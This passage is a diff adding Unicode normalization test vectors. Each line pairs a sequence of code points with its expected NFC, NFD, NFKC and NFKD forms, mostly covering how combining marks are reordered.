+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E2, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E3, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E4, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E5, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E6, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E7, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E8, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E9, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EA, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EB, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EC, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8ED, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EE, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EF, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA953, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA953, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0xA9B3, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062] },
+{ source: [0x0061, 0xA9B3, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA9C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA9C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB0, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB2, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB3, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xAAB4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062] },
+{ source: [0x0061, 0xAAB4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB7, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB8, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABE, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABF, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAC1, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xAAF6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xAAF6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xABED, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xABED, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x064B, 0xFB1E, 0x05C2, 0xFB1E, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
